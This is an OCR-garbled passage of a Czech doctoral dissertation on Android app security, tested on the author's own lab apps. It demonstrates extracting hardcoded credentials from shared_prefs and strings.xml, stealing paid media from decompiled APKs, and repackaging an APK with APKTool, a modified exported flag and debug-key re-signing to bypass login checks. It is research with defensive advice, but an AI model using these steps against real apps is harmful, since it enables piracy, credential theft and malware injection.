Bezpecnostni chyba, kterou ptedstavuje ukladani piihlasovacich udaji do
zdroju aplikace, méa né€kolik variant, z nichZ ty nejdilezité;si jsou popsany v tomto
oddile dizertacni prace.

Nejrozsitenéjsi verzi je ukladani uzivatelského yjména a hesla do XML souboru,
ktery se nachéazi v privatnim datovém prostoru dan¢ aplikace. Uvedend metoda je
zalozena na ptedpokladu, Ze privatni datové prostory jsou soukrome, a tedy

4 Jedna se o utocnou techniku pro ziskavani kolizi hashii, ktera je kompromisem mezi
vypocetni narocnosti Brutal Force a prostorovou/datovou ndarocnosti hashovacich tabulek.
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dostupné jen aplikaci, které tento prostor patii. Predpoklad pravdépodobné
prameni z popisu, ktery je uveden v oficidlni vyvojarské dokumentaci:

“Internal storage: It's always available. Files saved here are accessible by only
your app... Internal storage is best when you want to be sure that neither the user
nor other apps can access your files.” [129]

Popis je spravny jen v piipad€, Ze dané mobilni zafizeni pracuje s normalni
urovni opravnéni (zafizeni nebylo upraveno zplisobem, kdy jeho majitel prevzal
prava super uzivatele tzv. root). Pokud byl na mobilnim zatizeni proveden root,
je porusen Sandboxing aplikaci (Sandboxing byl popsan v kapitole 2 Soucasny
stav feSené¢ problematiky) a utocnik mize sledovat obsah privatniho prostoru
aplikace, na kterou uto¢i. Mobilni vyvojaii by pii navrhu zabezpecovacich
mechanismil svych aplikaci méli vychéazet ze skuteCnosti, Ze privatni datove
prostory nejsou soukrome, nebot’ se k jejich obsahu mohou Uto¢nici dostat na
upravenych mobilnich zatizenich.

Utok ma &asto nasledujici pribéh: APK balicek je piikazem adb install
BestMaps-PassInRes.apk nainstalovan do upraveného mobilniho
zatizeni/emulatoru. Pak je nainstalovany program spuStén v mobilnim
zatizeni/emulatoru. Pomoci ptikazu adb shell je spustén zabudovany ptikazovy
interpret fyzického zafizeni/emulatoru. Ptikaz cd
/data/data/cz.utb.fai.bestmapspassinres zajisti pfemisténi do privatniho adresaie
mobilni aplikace. Nasledné je ptikazem ls -la vypsdn obsah privatniho datového
prostoru mobilni aplikace. Na obrazku 4.28 je vid¢et, Ze se zde nachdzi 1 adresar
shared prefs, ktery ¢asto obsahuje citlivé udaje'.

root@generic_x86_64:/data/data/cz.utb.fal.bestmapspassinres # 1ls -1la

drwxrwx--x u@_a61 ud_abl 2019-01-08 10:48 cache
drwxrwx--x u@_a61 ud_ab1 2019-01-08 10:48 code_cache
drwxrwx--x u@_a61 ud_ab1l 2019-01-08 10:48 shared_prefs
Obr. 4.28: Obsah privatniho datového prostoru testované aplikace [zdroj
viastni]

Aktudlni adresar je zmeénén na shared prefs (pfikazem cd shared prefs). Obsah
adresare shared prefs je vypsan ptikazem Is -1a. Z obrazku 4.29 je patrné, Ze pravo
pro Cteni a zapis mad pouze aplikace (tj. uZivatel u0 a61), které soubor
app_protection.xml patti. Ostatni, tzn. vSichni kromé& uZivatele u0_a61 a skupiny
u0 a61 (skupina mé pouze jediného Clena, kterym je dana mobilni aplikace nebo
vice aplikaci podepsané stejnym vyvojatskym klicem), nemaji pravo soubor ¢ist,
ani do n&j zapisovat nebo ho spoustét, viz Cervené oznaceni na obrazku 4.29.

15 Duvod, proc jsou prihlasovact udaje casto umistovany do adresare shared_prefs, je tiida
SharedPreferences. Prace s ni je pohodilna a bezproblémoveé funguje na vsech relevantnich
verzich operacniho systému Android.
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ls -1la

-TW-Tw---- u0_a61l u0_a61 176 2019-01-08 10:48 app_protection.xml
Obr. 4.29: Opravneéni souboru app _protection.xml, ktery patii testované aplikaci
[zdroj viastni]

Navzdory vySe uvedené skuteCnosti lze na upravenych mobilnich
zafizenich/emulatorech obsah souboru ziskat, napfiklad piikazem cat
app_protection.xml. Situace je zachycena na obrazku 4.30.

cat app_protection.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>

<string name="password_key">!mau7.Po9@oK-0Jhh+</string>
<string name="login_key">user331</string>

Obr. 4.30: Obsah souboru app_protection.xml [zdroj viastni]

Dalsi varianta této bezpecnostni chyby vyuziva hardwarové identifikatory a
licen¢ni server. Mechanismus je naznacen na obrazku 4.31 a v ukdzce zdrojového
kodu, ktera je pod obrazkem. Po startu aplikace se zjistuje, zda existuje soubor
app_protection.xml. Pokud soubor neexistuje, je pomoci tfid SharedPreferences a
LicenseServer vytvoren. Ttida SharedPreferences pracuje na lokalni urovni a
stard se o vytvofeni a zapis do soubor app_protection.xml. I kdyz byl pouzit
Context MODE PRIVATE (soukromy mod souboru), nebyl soubor ochranén, viz
postup naznaCeny vySe. Ttida LicenseServer se stard o sitovou komunikaci
s licennim serverem. Do konstruktoru je jako parametr vloZen identifikator
Android ID, na jehoz zakladé instance tfidy LicenseServer obdrzi uZivatelské
jméno a heslo. UZivatelské jméno je do souboru app protection.xml vloZeno
volanim metody getLogin. Heslo je do souboru app protection.xml vloZeno
pomoci metody getPassword.
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Uloz do souboru app_protection.xml data poslana serverem

Existuje v
shared_prefs
soubor
B 436 app_protection.
xml?

[

Start aplikace

N
O]Lo /
PENETRATION
ﬁ F TESTING

LABORATORY
PT LAB

Licenéni server

Jsou
uuuuuuuuuuu X prihlasov
aci udaje
spravné?

Opétovné zobrazeni pfihlasovaci aktivity

Chranéna aktivita

Obr. 4.31: Mechanismus vytvdreni souboru app_protection.xml, pomoci licencniho
serveru [zdroj viastni]

Ukéazka vytvatreni obsahu souboru app protection.xml na zédkladé komunikace
s licen¢nim serverem

@Override
protected void onStart()

{
super.onStart();

/I POKUD SOUBOR app_protection.xml NEEXISTUJE, BUDE VYTVOREN
File protectionFile = new
File("/data/data/cz.utb.fai.bestmapspassinres/shared_prefs/app_protection.xml");

if ('protectionFile.exists())

{
/I ZAPIS DO ADRESARE shared_prefs do SOUBORU app_protection.xml

SharedPreferences sharedpreferences;

sharedpreferences = context.getSharedPreferences(PREFS_FILE_NAME,
Context. MODE_PRIVATE);

SharedPreferences.Editor editor;
editor = sharedpreferences.edit();

String androidID =
Settings.Secure.getString(MainActivity.this.getContentResolver(),
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Settings.Secure. ANDROID_ID);
LicenseServer licenseServer = new LicenseServer(androidID);
editor.putString(PASSWORD_KEY_NAME, licenseServer.getPassword());
editor.putString(LOGIN_KEY_NAME, licenseServer.getLogin());
editor.apply();

)
}

Ptidélovani hesel nebo poskytovani placené funkcionality na zikladé
hardwarovych identifikatort je mezi mobilnimi vyvojati velmi oblibené z divodu
snadné¢ implementovatelnosti. Jednou z moZnosti je naptiklad SQL databaze
bézici na licencnim serveru. Databaze obsahuje pouhé dvé tabulky, které
odpovidaji relaci 1:N. Jeden uZivatel ma zpravidla vice zafizeni (napiiklad
mobilni telefon, starsi tablet a nov¢jsi tablet). Na zakladé Android ID je dohledan
odpovidajici uzivatel a ovéfena platnost licence. Situace je zachycena na obrazku
4.32.

Tabulka uZivatel

ID_uzivatel Jmeno Prijmeni | Platnost_licence
— 1 Jan Novak 1.1.2020
—| 2 Petr Novotny 1.1.2021

Tabulka platnych zafizeni

ID_zaznamu ID_uzivatel | Android ID

eedead0d57cad190
ab2bb0c9ael2dac0

cc2fea07e9abc302

aa89ebc5abee52da

2K 28 2K 2

1
2
3
4
5

N[(N|R|R|R

fe3deb3de654abc7

Obr. 4.32: Ovérovani platnost licenci pomoci SQL databaze [zdroj viastni]

VySe uvedeny zplsob ovéfovani na zakladé Android ID nebo jinych
hardwarovych identifikatorii se stal tak rozSifenym, Ze spole¢nost Google LLC
vydala na strance Best practices for working with Android identifiers nasledujici
varovani:

”Avoid using hardware identifiers. Hardware identifiers such as SSAID
(Android ID) and IMEI can be avoided in most use-cases without limiting
required functionality.” [130]

Posledni variantu'® ukladani hesel pfestavuje ukladani do souboru strings.xml,
ktery je soucasti APK bali¢ku. Soubor se nachazi v adresati res/values. Princip je

16Existuje velké mnozstvi variant bezpecnostni chyby, kterou predstavuje ukladani
prihlasovacich udajii do zdrojii aplikace. Neni proto mozné v ramci dizertacni prace popsat
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naznacen v niZe uvedené ukdzce zdrojového kodu. Uzivatel zada prostfednictvim
Ul element typu EditText (proménné loginEditText a passwordEditText)
uzivatelsk¢ jméno a heslo. Nasledné jsou ptihlaSovaci udaje porovnany
s hodnotami uloZenymi v souboru strings.xml. Ziskat ptisluSné informace ze
souboru strings.xml lze pomoci metody getResources patfici ttidé Context, ktera
umoziuje volani getString. Volani akceptuje parametry tfidy R (metoda string),
které predstavuji identifikatory string elementli v souboru strings.xml.
Priklad ovéfovani uzivatelského yjména a hesla pomoci strings.xml

if(loginEditText.getText().toString().equals(getResources().getString(R.string.login))
&&
passwordEditText.getText().toString().equals(getResources().getString(R.string.passwor

d)))
{

loginEditText.setText(");
passwordEditText.setText("");

Intent intent = new Intent(context, BestMapsActivity.class);
startActivity(intent);
}

else
{
loginEditText.setText("");
passwordEditText.setText(");
Toast.makeText(context, "Wrong Credentials", Toast. LENGTH_LONG).show();

}

Z ukazky zdrojového kodu je ziejmé, Ze zabezpeceni vytvorené pomoci
strings.xml je velmi jednoduché, funguje rychle a na rozdil od ptedchozich variant
nejsou piihlaSovaci udaje uklddany do privatniho datového prostoru aplikace.
Utoénik proto musi postupovat odlisng. Nebude napadat souborovy systém
aplikace v upraveném mobilnim zafizeni/emulatoru, ale bude uto¢it na APK
bali¢ek. Nejprve se provede dekompilace typu 2 pomoci APKTool. Dekompila¢ni
nastroj vytvoii adresar, ktery ma stejné jméno, jako ma dekompilovany APK
balicek. V adresafi se nachazi tfi podadresare original, res a smali. Jak jiz bylo
popsano vyse, soubor strings.xml se nachdzi v adresafi res/values, coz lze vidét
na obrazku 4.33.

v§echny moznosti. Z vyse uvedeného ditvodu byly vybrany tri metody, ktery jsou podle autora
prdce nejdiilezitejsi.
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values

Home lab BestMaps-PassinRes res values

© Recent
/ / /
@ Home
M e attrs.xml bools.xml colors.xml
esktop
[ Documents / / /
¥ Downloads dimens.xml drawables.xml ids.xml
dd Music
/ /
@ Pictures
) VEESS integers.xml public.xml strings.xml
@ Trash /

@ Network styles.xml

@ computer

B Connectto Server

“strings.xml” selected (3.1kB)
Obr. 4.33: Soubor strings.xml, ktery se nachazi v adresari res/values vysetrovaného
APK balicku [zdroj viastni]

Takto ziskany soubor strings.xml Ize oteviit v libovolném textovém editoru,
naptiklad v programu Gedit, viz Cerveny ramecek na obrazku 4.34.

strings.xml (~/lab/BestMaps-PassinRes/res/values) - gedit
Open ¥ M~ Save

<string name="abc menu enter shortcut label">enter</string>

<string name="abc menu function shortcut label">Function+</string>

<string name="abc _menu meta shortcut label">Meta+</string>

<string name="abc menu shift shortcut label">Shift+</string>

<string name="abc menu space shortcut label">space</string>

<string name="abc_menu_sym shortcut_label">Sym+</string>

<string name="abc prepend shortcut label">Menu+</string>

<string name="abc search hint">Search..</string>

<string name="abc searchview description clear">Clear query</string>

<string name="abc searchview description query">Search query</string>

<string name="abc searchview description search">Search</string>

<string name="abc searchview description submit">Submit query</string>

<string name="abc searchview description voice">Voice search</string>

<string name="abc shareactionprovider share with">Share with</string>

<string name="abc shareactionprovider share with application">Share with %s</string>

<string name="abc toolbar collapse description">Collapse</string>

<string name="app name">Best Maps Pass in Res</string>

<string name="login">wootID520</string>

<string name="password">nBUIb7ius6vjI5cj</string>

<string name="search menu_title">Search</string>

<string name="start to use">Start to use Best Maps</string>

<string name="status_bar_notification_info_overflow">999+</string>
</resources>

XML v Tabwidth:8 v Ln 1, Col1 v INS

Obr. 4.34: Obsah souboru strings.xml, ve které se nachdzi uZivatelské jméno a heslo
[zdroj viastni]

KradeZe dat 7 APK balickii

Jednim z typickych ptikladd kradezi dat z APK balicki je odcizeni
nezabezpecené¢ho multimediadlniho obsahu. MiiZe se naptiklad jednat o mobilni
aplikaci slouZici ke zlepSeni fyzické kondice, kterda ma nasledujici platebni
schéma. Program poskytuje zakladni sadu cviceni (tzn. multimedialni soubory)
zdarma. Za del$i a pokrocilejsi sady cviceni musi uzivatel zaplatit. Ochrana je
realizovéna tak, jak naznaCuje obrazek 4.35 a ukéazka zdrojového kodu, ktera se
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nachazi pod timto obrazkem. Pfed kazdym piehranim videa se program podiva do
logicke proménné isLicenced. Pokud mé proménna hodnotu pravda, pak ptehraje
video, které je zdarma, ale i to placené. Je-li proménnd nastavena na nepravdivou
hodnotu, pak ptehraje pouze videa, ktera jsou zdarma. Z vyse uvedeného popisu
je jasng, Ze se jedna pouze o logicky zplisob ochrany, ktery nedokéaze Gito¢nikovi
zabranit v odcizeni multimedialnich dat z APK balicku.

- - - Multimedialnisoubory,
- - - které jsou zdarma
V7 Ve V9 Multimedialnisoubory, které jsou placené
(bez zaplaceni nelze v apliaci prehrat)
V10 Vi1 V12
O

Obr. 4.35: Multimedidlni soubory v mobilni aplikaci [zdroj viastni]

Ukazka piehravani pro platici a neplatici uZivatele
if (isLicenced == true)

{
/] spusti placena i neplacena videa
}
else
{
/] spusti pouze neplacena videa
}

Navzdory skute¢nosti, ze dekompilované APK balicky obsahuji velké
mnozstvi souborl a adresart, je utok velmi snadny, nebot’ 1ze pouZit nastroje du
a sort, viz obrazek 4.36. Nastroj du slouzi pro vypocty velikosti mista, které na
pevném disku zabiraji soubory a adresare (tj. velikost souborii v daném adresati).
Ptepinac ,,h* zajisti, Ze bude vypis v lidsky Citelném formatu (tzn., Ze velikost
bude zobrazena v KB, MB, GB, ...). Pfepina¢ ,,s* zajisti sumarizaci vSech
polozek vypisu. Poslednim argumentem je expanzni znak ,,**, ktery zajisti, Ze se
bude vypis tykat vSech poloZek v daném adresaii. Takto ptfipraveny vystup
z programu du je pfesmérovan pomoci symbolu ,,| na vstup programu sort, jez
vypiSe vSechny vstupni polozky podle velikosti. Pfepinac ,,h* zajisti porovnani a
sefazeni podle lidsky Citelnych velikosti (KB, MB, GB, ...). Aby pfepinac ,,h*
fungoval u programu sort, musi jiz vstupni data pracovat s lidsky citelnymi
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velikostmi souborll. Jinymi slovy pro spravné fungovani utoku je nutné zadat
piepinac ,,h* u ptikazu du i u ptikazu sort. JelikoZ uto¢nik cili na multimedialni
data, u nichZ je ptedpoklad, Ze budou tvofit relativné velkou ¢ast APK balicku, je
vhodné se zaméftit na posledni polozky vypisu, nebot’ ty maji nejvétsi velikost. Na
obrazku 4.36 jsou tyto polozky oznaceny Cervenym rameckem. ProtoZe adresat
smali obsahuje veskerou aplikac¢ni logiku, ktera je ve stejnojmenném jazyce, neni
v tomto ptipadé uvedeny adresar piili§ zajimavy. Vhodnéj$Sim kandidatem je
proto adresaf res, jeZ ma velikost 39 MB.

workshop@ubuntu:~/lab/MultimediaTestingAPP$ du -hs * | sort -h
AndroidManifest.xml
unknown
apktool.yml

original
assets
res
smali

Obr. 4.36: Obsah dekompilovaného APK balicku pomoci nastroje APKTool [zdroj
viastni]

V dalsim kroku se pifejde do adresate res a znova je proveden vypis pomoci
piikazu du -hs * | sort -h. Na obrazku 4.37 je vidét zkraceny vypis obsahu adresate
res, cervené je oznaCen adresai raw, ktery ma nejvétsi velikost (je tedy
nejvhodnéj$im kandidatem pro dalsi zkoumani).

drawable-xxxhdpi-v4
values
drawable-mdpi-v4
drawable-hdpi-v4
drawable-xhdpi-v4
drawable-xxhdpi-v4
layout-sw320dp-v13
layout-sw480dp-v13

layout-sw640dp-v13
layout-sw320dp-land-v13
layout-sw480dp-land-v13
layout-sw640dp-land-v13
layout-television-v13
drawable

raw
Obr. 4.37: Zkrdceny vypis obsahu adresdre res [zdroj vilastni]

Adresar raw jiz obsahuje pouze nezabezpecena multimedialni data ve formatu
mp4. Situace je zachycena na obrazku 4.38. SpoleCnosti, které pouzivaji
multimedialni soubory ve svych aplikacich, Casto vynakladaji nemalé prostfedky
na jejich vytvoreni. Pokud by tato data byla odcizena a zdarma sdilena naptiklad
prostfednictvim torrentli, mohlo by to pfedstavovat vazné ohrozeni investic, ktere
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dana spole€nost vynalozila na vyvoj mobilni aplikace (pokud ma spolecnost 1
webovou verzi postiZzené aplikace, pak jsou ohrozeny 1 tyto naklady).

workshop@ubuntu:~/1lab/MultimediaTestingAPP/res/raw$ ls | grep -e

|.mp4l|

Obr. 4.38: Vypis adresare raw obsahujici multimedialni soubory ve formdatu
mp4 [zdroj viastni]

Na zédkladé¢ vyzkumu, ktery byl proveden vramci dizertaéni prace, bylo
zjisténo, ze se multimedialni data Casto nachazeji v adresarich /res a /res/raw. Déle
bylo zjiSténo, Ze tato cenni data mnohdy maji pouze logickou ochranu, kterd je
napsdna v jazyce Java, pficemz fyzickd ochrana dat zcela chybi. Navic kod
naznaceny vyse lze pomérné snadno upravit pomoci Uto¢né techniky, ktera se
nazyva APK repackage. Napftiklad tak, ze bude odstranéna podminka, ve které se
vyhodnocuje pravdivostni hodnota logické proménné isLicenced nebo
provedenim negace pravdivostni hodnoty dané proménné.

Nedostatek binarni ochrany

Soucasnd architektura mobilnich aplikaci a zeyména pak APK balickli ma za
nasledek nedostate¢nou bindrni ochranu. Tzn., Ze pro uto¢niky je snadné ziskat
instalacni balicek 1 soubory napadené¢ aplikace a nasledné je analyzovat. Je proto
dalezité, aby analytici a vyvojati reflektovali vySe popsané skuteCnosti a
zapracovali je do svych navrhii. Nebot' jen takovy pfistup umozZni vytvaret
moderni a bezpe¢né mobilni aplikace. Mobilni vyvojafi by si méli byt naptiklad
védomi, Ze hesla neni mozné:

e vkladat ptimo do zdrojovych kodi, a to ani pfimo, ani ve form¢ pomocnych

trid, které¢ maji vefejné metody typu getPassword,

e ukladat do zdroji mobilni aplikace (napt. do souboru strings.xml),

e stahovat v oteviené podobé¢ z aplika¢nich serveri a ukladat je do privatnich

datovych prostorti aplikace, nebo dokonce do vefejné perzistentni paméti
mobilniho zatizeni (naptiklad na SD kartu).
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Obecné plati, ze ukladani hesel v oteviené 1 v Sifrované podobé pifimo v
kodu aplikaci nebo jejich zdrojich neni bezpecné. Vyzkum rovnéZz odhalil, Ze
aplikace obsahujici citliva data by mély byt vybaveny bezpecnostnim
mechanismem, ktery znemoZzinuje jejich spousténi na upravenych mobilnich
zatizeni, kde uzivatel ziskal super uzivatelska opravnéni (root). Pokud aplikace
zjisti, Ze byla nainstalovana na takovémto typu zafizeni, méla by uZivatele pouze
informovat o rizicich uvedeného provozu a ukoncit se. Jednim z ditvodu je fakt,
Ze Utocne¢ a infikované aplikace zneuZzivaji super uzivatelskd opravnéni k tomu,
aby pomoci svych skripti ménily opravnéni k ptistupu do privatnich datovych
struktur legitimnich aplikaci. Pokud by na takovém zafizeni naptiklad bé&zela
bankovni aplikace, nebyla by jeji data v bezpeci.

Vysledky vyzkumu rovnéz naznacuji, Ze cenna data, jako jsou naptiklad
multimedidlni soubory nebo mapové podklady, by méla byt vzdy chranéna
pomoci Sifrovani. Hodnotna data by se neméla vyskytovat v nesifrované podobé
ani u platicich zakazniki, nebot’ zlocinci pachajici informacni kriminalitu si
zakoupi jedinou licenci (Casto vyldkaji data 1 bez placeni pfedstiranim identity
validniho uZivatele) a na upravenych mobilnich zatizenich odcizi nezabezpecena
data. Nedostatek binarni ochrany APK balickli se projevuje 1 v nasledujicim
oddile, kterym je APK repackage.

4.6.2 APK repackage

Utoéné techniky zaloZené na APK repackage se pouZivaji ke zméné aplikaéni
logiky nebo zdrojii programu prostfednictvim modifikace APK bali¢ku. Upravy
1ze rozdélit do dvou hlavnich kategorii:

e zasahy, které maji za cil z mobilni aplikace odstranit zabezpeceni, jeZ brani
neplaticim uzivatellim v pouzivani dané aplikace,

e modifikace, jejiZ cilem je vlozit Skodlivy kod do legitimni mobilni aplikace
(take se nazyva hostitelska aplikace).

Vysledky vyzkumu provedeného v ramci dizertani prace naznacuji, Ze Cast
mobilniho malware spadd do obou kategorii. Nejprve je z né&jaké atraktivni
aplikace (naptiklad popularni hra) odstranéno zabezpefeni branici v jejim
pouzivani neplaticim uZivatelim a nasledné je do hostitelské aplikace vloZen
Skodlivy kod. Takto infikovany bali¢ek se distribuuje prosttednictvim torrenti a
file share servert.

Princip APK repackage spociva v dekompilaci APK balicku pomoci nastroje
APKTool. Upravé aplikaéni logiky modifikaci jazyka smali nebo pomoci zmény
zdrojh aplikace, naptiklad AndroidManifest.xml, strings.xml apod. Dalsi fazi je
opétovné vytvoreni APK balicku s vyuzitim programu APKTool. Jako posledni
je potifeba nové vytvoreny APK bali¢ek faleSné podepsat. Z vySe uvedeného
popisu vyplyva, Ze jde o rozbaleni, modifikaci a opétovne zabaleni APK balicku,
jedna se o ,,ptebaleni®, tedy repackage.

V analytické Casti vyzkumu byla velkd pozornost vénovana odhaleni principt
fungovani a modifikaci programovych konstrukti jazyka smali. Z divodu
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neexistence nebylo mozné pouzit Zddnou dokumentaci. Tato faze vyzkumu byla
proto Casové velmi naro€nd, protoze autor musel pomoci metod Reverse
Engineeringu odhalit veSkerou funkcionalitu sam.

Utok na parametr exported souboru AndroidManifest.xml

VétSina mobilnich aplikaci nabizejicich funkcionalitu (nebo jeji ¢ast) pouze pro
platici/registrované uzivatele se sklada z aktivit dvojiho typu. Prvni skupinu tvori
vefejné aktivity, které mize spustit kazdy uzivatel, viz body 1A a 1B na obrazku
4.39. Typicky se jednd o startovni aktivitu, ktera ma v souboru
AndroidManifest.xml ptiznaky MAIN a LAUNCHER nebo o straZni aktivitu, jez
chrani vstup do zabezpefené ¢asti mobilni aplikace. Chranéna aktivita, nabizejici
cennou funkcionalitu je na obrazku 4.39 reprezentovana bodem 2. Startovni
aktivita Casto plni 1 roli strazni aktivity a je to jedind aktivita, kterou mohou spustit
jak platici, tak neplatici uZivatelé. Strazni aktivita méa za ukol ovéfit identitu
platicich zakazniki a spustit jim chranénou ¢ast aplikace. Ostatnim uZivatelim
zobrazi pouze zpravu, Ze ptihlaSovaci udaje nejsou platné, ptipadné informace,
jakym zplsobem si mohou danou aplikaci zakoupit. Proces oveéfovani nemusi
probihat ve straZzni aktivité¢. Kontrola uZivatelského jména a hesla mlize probihat
napiiklad prostifednictvim aplika¢nich serverti. V takovém piipadé€ strazni aktivita
plni pouze roli prostfednika, ktery zprosttedkovava ptedani uzivatelskych vstupii
na piislusny server a na zaklad¢ jeho rozhodnuti spusti nebo nespusti aktivitu
nabizejici cennou funkcionalitu. Spousténi lze naptiklad realizovat pomoci
intentl:

Intent intent = new Intent(context, ProtectedActivity.class);

startActivity(intent);

ANO

Android Emulator - m:5554

Bylo
ovéreni
Uspésné
?

“ Android Emulator - m:5554

PLAY BEST GAME

Placena funkcionalita

Ovéreni
zadaného hesla

Obr. 4.39: Schéma aplikace nabizejici placenou funkcionalitu [zdroj viastni]

Jednim z prosttedki, jak zabranit pfimému spousténi chranénych aktivit je
parametr exported, ktery ma ptislusSnd aktivita ve svém elementu v souboru
AndroidManifest.xml. PouZivani parametru je popsano ve vyvojarské
dokumentaci takto:
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“...android:exported, this element sets whether the activity can be launched by
components of other applications — "true" if it can be, and "false" if not. If "false",
the activity can be launched only by components of the same application or
applications with the same user ID...” [131].

Z vyse uveden¢ho popisu vyplyva, Ze chranéna aktivita by méla mit
v prislusSném elementu activity nastavenu hodnotu android:exported=“false®,
¢imZz se zabrani pfimému spouSténi chranénych aktivit zjinych aplikaci
(naptiklad z malware).

Pokusi-li se aplikace A spustit chranénou aktivitu aplikace B, ktera ma
parametr nastaven na hodnotu android:exported="false*, zplisobi to bezpecnostni
vyjimku a béh aplikace A je ukoncen. Chranéna aktivita aplikace B neni spusténa.
Vysledek je vidét na ukazce nize. Log bezpecnostni vyjimky byl zachycen
programem logcat.

Log padu aplikace, ktera se pokusila spustit chranénou aktivitu jiné aplikace:

01-10 17:40:21.008 E/AndroidRuntime(3122): Caused by: java.lang.SecurityException:
Permission Denial: starting Intent { act=android.intent.action.MAIN
cmp=cz.utb.fai.appb/.ProtectedActivity } from ProcessRecord{25b6199
3122:cz.utb.fai.appa/u0a63} (pid=3122, uid=10063) not exported from uid 10062

Pokud bude chtit Gto¢nik spoustét chranéné aktivity jinych aplikaci ze své
aplikace/malware, bude muset nejprve udélat utok na parametr exported. Aby
bylo mozné s parametrem manipulovat, je nutné¢ nejprve provést dekompilaci
APK balicku pomoci nastroje APKTool. V dalSim kroku je otevien soubor
AndroidManifest.xml a u aktivity obsahujici cennou funkcionalitu zménit
hodnotu parametru z android:exported="“false* (na obrazku 4.40 je oznacen
cervené) na android:exported="“true* (parametr exported s hodnotou ,true je
nutné ptidat i1 v pfipadé€, Ze u elementu activity neni parametr exported viibec
uveden).

*AndroidManifest.xml (~/lab/BestMaps11) - gedit

Open ¥ M

<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://
schemas.android.com/apk/res/android" package="cz.utb.fai.bestmapsll"” platformBuildVersionCode="25"
platformBuildVersionName="7.1.1">
<application android:allowBackup="true" android:debuggable="true" android:icon="@mipmap/
ic_launcher" android:label="@string/app name" android:supportsRtl="true" android:theme="@style/
AppTheme">
<activity android:name="cz.utb.fai.bestmapsll.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>|
</activity>
|<activity android:exported="false"]android:name="cz.utbh.fai.bestmapsll.BestMapsActivity"/>
</application>
</manifest>

Obr. 4.40: Parametr exported v souboru AndroidManifest.xml [zdroj viastni]

Nasledné je proveden build APK bali¢ku pomoci ptikazu java -jar apktool.jar
b BestMapsl1 -o BestMapsl IHACKED.apk. Poslednim krokem by méla byt
instalace upraveného APK balicku. Z obrazku 4.41 je jasné, Ze takto vytvoreny
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APK bali¢ek neni moZné nainstalovat ani do fyzick€ého mobilniho zatizeni ani do
emulatoru, a to ani v piipad¢€, Ze byl proveden root. Aby bylo moZzné aplikaci
nainstalovat, je nutné ji faleSné podepsat. Jednim z moZznych feSeni je vyuZzit
jarsigner a kli¢, ktery se pouZziva pro instalaci mobilnich aplikaci béhem jejich
vyvoje:

#!/bin/bash
jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass
android -digestalg SHA1 -sigalg MD5withRSA $1 androiddebugkey

workshop@ubuntu:~/1ab$ adb install BestMaps11HACKED.apk
[100%] /data/local/tmp/BestMaps11HACKED.apk

pkg: /data/local/tmp/BestMaps11HACKED.apk
Failure [INSTALL_PARSE_FAILED NO_CERTIFICATES]

Obr. 4.41: Neuspésnd instalace upraveného APK balicku [zdroj viastni]

Jak je vidét z obrazku 4.42, nyni je jiz moZzné do mobilniho zafizeni ¢i
emulatoru nainstalovat upraveny APK balicek. Balic¢ek, ktery byl zmanipulovan
vySe uvedenym zpisobem je zranitelny nejen na utoky typu Authentication
Bypass, ale také je moZné napsat malware, ktery bude piimo spoustét chranénou
Sast upravené aplikace. Skodlivy software bude plnit Glohu spoustéde chranéné
¢asti placené aplikace a zaroven bude spoustét na pozadi (bez védomi uZivatele)
sviyy vlastni kod (jak Authentication Bypass, tak malware jsou vysvétleny
v oddilech 4.6.3 a 5.2.8 dizerta¢ni prace).

workshop@ubuntu:~/1ab$ adb install BestMaps11HACKED.apk
[100%] /data/local/tmp/BestMaps11HACKED.apk

pkg: /data/local/tmp/BestMaps11HACKED. apk
Success

Obr. 4.42: Uspésna instalace upraveného APK balicku [zdroj viastni]

Utoky na zabezpecovaci mechanismy

Dalsi moznosti, jak zneuzit APK repackage ptedstavuji itoky na zabezpecovaci
mechanismy. V oddile, ktery se jmenuje Hardcoded Credentials, byl popsan
ptipad, kdy byl misto otevien¢ho hesla pouzit vystup hashovaci funkce. V
uvedeném piipadé se jednalo o dostatecné dlouhé a komplexni heslo, takze
utocnik nemohl zjistit jeho otevienou podobu. Popsané zabezpeCeni je vSak
mozne¢ prolomit s vyuzitim APK repackage. Princip Gtoku je naznacen na obrazku
4.43.
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VloZeni hash jejichZ otevienou podobu Gtoénik zna 9 Android Emulator - m6:5554
o Y 4:49

> Start N
[sor] -
P e

J LABORATORY
y PT LAB

private String login = "6c4f39af50f1e3d939f63514a6edd5507ababbe7aea7659e8ada5756¢ch2cad27" ;
private String passwd = "b2c56341cc2b9f8bf898bd7528dd39e641b51c4fhd51f241b46ad70872dd1b99" ;

v

Preved na hash

v
Porovnej hash retézce [¢—

NE

Rovnaji se?

[Spust’ zabezpecenou Aktivitu]

Obr. 4.43: Princip utoku na zabezpecovaci mechanismus pomoci APKTool [zdroj
viastni]

Misto aby uto¢nik hledal otevienou podobu uZivatelského jména a hesla,
napiiklad pomoci Rainbow tabulek, provede jejich nahrazeni v kodu za
hashované hodnoty, které znd. Typicky postup je nasledujici. Nejprve jsou
provedeny dekompilace APK balic¢ku (typ 11 2). Pro dekompilaci prvniho typu je
pouzit piikaz ./dex2jar.sh BestMapsl2.apk, ktery vytvoii z APK balicku jar
soubor (dex2jar BestMapsl2.apk -> ./BestMapsl2-dex2jar.jar). BestMaps12-
dex2jar.jar je otevien pomoci Java Decompileru. Nasledné se v jazyce Java
vyhleda kritické misto zdrojového kodu. Ve tridé MainActivity.class je metoda
onClickButtonLogin, ktera se stard o obsluhu udalosti kliknuti na tlacitko s cilem
ovéftit platici zdkazniky. Metoda obsahuje kritickou ¢ast kodu:

if (new CheckCredentials(this.loginEditText.getText().toString(),
this.passwordEditText.getText().toString()).isValid().booleanValue())
{
this.loginEditText.setText("");
this.passwordEditText.setText("");
startActivity(new Intent(this.context, BestMapsActivity.class));
return;
}
this.loginEditText.setText("™);
this.passwordEditText.setText("");
Toast.makeText(this.context, "Wrong Credentials", 1).show();
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Vyse uvedeny zdrojovy kod je pro ttocnika zajimavy, nebot’ z ného vyplyva,
Ze o ovéfeni se stard tfida CheckCredentials.class. V konstruktoru je instanci tfidy
pfedano ptihlasovaci jméno (this.loginEditText.getText().toString()) a heslo
(this.passwordEditText.getText().toString()), které uzivatel zadal do textovych
poli strazni aktivity. Nasledné je zavolana metoda isValid() patiici tiide
CheckCredentials.class. Kod isValid().booleanValue() naznacuje, Ze vysledkem
